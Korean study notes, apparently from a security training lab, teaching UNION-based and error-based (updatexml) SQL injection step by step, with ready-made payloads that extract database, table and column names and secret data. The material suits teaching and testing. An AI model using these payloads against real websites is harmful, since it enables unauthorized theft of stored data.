SQL 인젝션 시도 시 서버가 어떤 SQL 질의문을 사용하는지 추측해야 한다!
공격할 때 반복적으로 사용하는 SQL 질의문이 있다. 따라서 기본 틀을 만들고 시작한다!
게시판처럼 SQL 질의문 삽입 결과가 화면에 출력 되는 곳에 적용하며 앞에 있는 SELECT
와 뒤에 있는 SELECT
의 컬럼 개수와 타입이 같아야 한다.
아래 쿼리를 보면 앞, 뒤의 컬럼이 2개로 동일하다.
SELECT id, pass FROM member UNION SELECT id, title FROM board;
UNION
은 두 SQL 질의문 결과를 합친 연산자이다. SELECT * FROM member UNION SELECT 1, '1', '1', '1', 1, '1', '1'
질의문은 MEMBER
테이블 각각의 컬럼에 SELECT * FROM member
와 SELECT 1, '1', '1', '1', 1, '1', '1'
질의문의 합집합을 출력한다.
어떤 SQL 질의문 사용하는지 추측
취약점 여부 확인
ORDER BY
WHERE name LIKE '%문자열%' ORDER BY 1 #
1, 2, 3, 4 … 컬럼 증가시키며 개수를 파악한다. 5에서 에러 발생 시 컬럼 개수는 4개이다.
DB 이름 확인
SELECT database() ⇒ DB 이름이 출력된다.
추측하는 SQL 질의문 => where name like ‘%문자열%’
삽입할 질의문 => watch%' union select '1', database(), '3', '4
=> 화면에 DB이름, ‘3’, ‘4’ 가 출력된다.
해당 DB가 사용하는 테이블 이름 확인
질의문 양식 => SELECT table_name FROM information_schema.tables WHERE table_schema = ‘DB 이름’
삽입할 질의문 => watch%' UNION SELECT '1', table_name, '3', '4' FROM information_schema.tables WHERE table_schema = 'segfault_sql' #
Tip. 주석 대신 or '1'='1 사용해도 된다.
컬럼 이름 확인
information_schema.columns 의 column_name 테이블을 사용한다.
질의문 양식 => SELECT column_name FROM information_schema.columns WHERE table_name='table name'
삽입할 질의문 => watch%' UNION SELECT '1', column_name, '3', '4' FROM information_schema.columns WHERE table_name='secret'
Tip. 주석 대신 or '1'='1 사용해도 된다.
데이터 추출
질의문 양식 => SELECT [컬럼 이름] FROM [테이블 이름]
삽입할 질의문 => watch%' UNION SELECT '1', secret, '3', '4' FROM secret #
Tip. watch%' UNION SELECT '1', secret, '3', '4' FROM secret # 구문에서 WHERE 같은 조건식이 없으므로 주석 대신 AND, OR 등의 논리 연산자는 사용할 수 없다.
💡 DB 관련한 Error 메시지가 화면에 출력 될 때 사용 가능한 SQL Injection
어떤 SQL 질의문 사용하는지 추측
ex. select [컬럼 이름] from [테이블 이름] where id=’입력 문자열‘
DB 에러인지 확인
error based SQL Injection Function
error based SQL Injection Function은 구글에 검색하면 잘 정리되어 있다.
1' and updatexml(null, concat(0x3a, 'test'), null) and '1'='1
0x3a
는 문자 :
이다. 따라서 concat() 문자열은 :test
이다.DB 이름 파악
사용할 SQL 질의문 ⇒ select database()
1' and updatexml(null, concat(0x3a, 'test'), null) and '1'='1
1' and updatexml(null, concat(0x3a, (select database())), null) and '1'='1
테이블 이름 구하기
사용할 SQL 질의문 ⇒ select table_name from information_schema.tables where table_schema ='DATABASE NAME'
1' and updatexml(null, concat(0x3a, (select table_name from information_schema.tables where table_schema = 'segfault_sql')), null) and '1'='1
limit 0, 1
1' and updatexml(null, concat(0x3a, (select table_name from information_schema.tables where table_schema = 'segfault_sql' limit 0, 1)), null) and '1'='1
⇒ limit
덕분에 테이블 이름이 출력된다.컬럼 이름 구하기
사용할 SQL 질의문 ⇒ select column_name from information_schema.columns where table_name='table name' limit 0, 1
1' and updatexml(null, concat(0x3a, ( select column_name from information_schema.columns where table_name='table name' limit 0, 1)), null) and '1'='1
데이터 추출
사용할 SQL 질의문 ⇒ select [컬럼 이름] from [테이블 이름]
1' and updatexml(null, concat(0x3a, (select [column name] from table name)), null) and '1'='1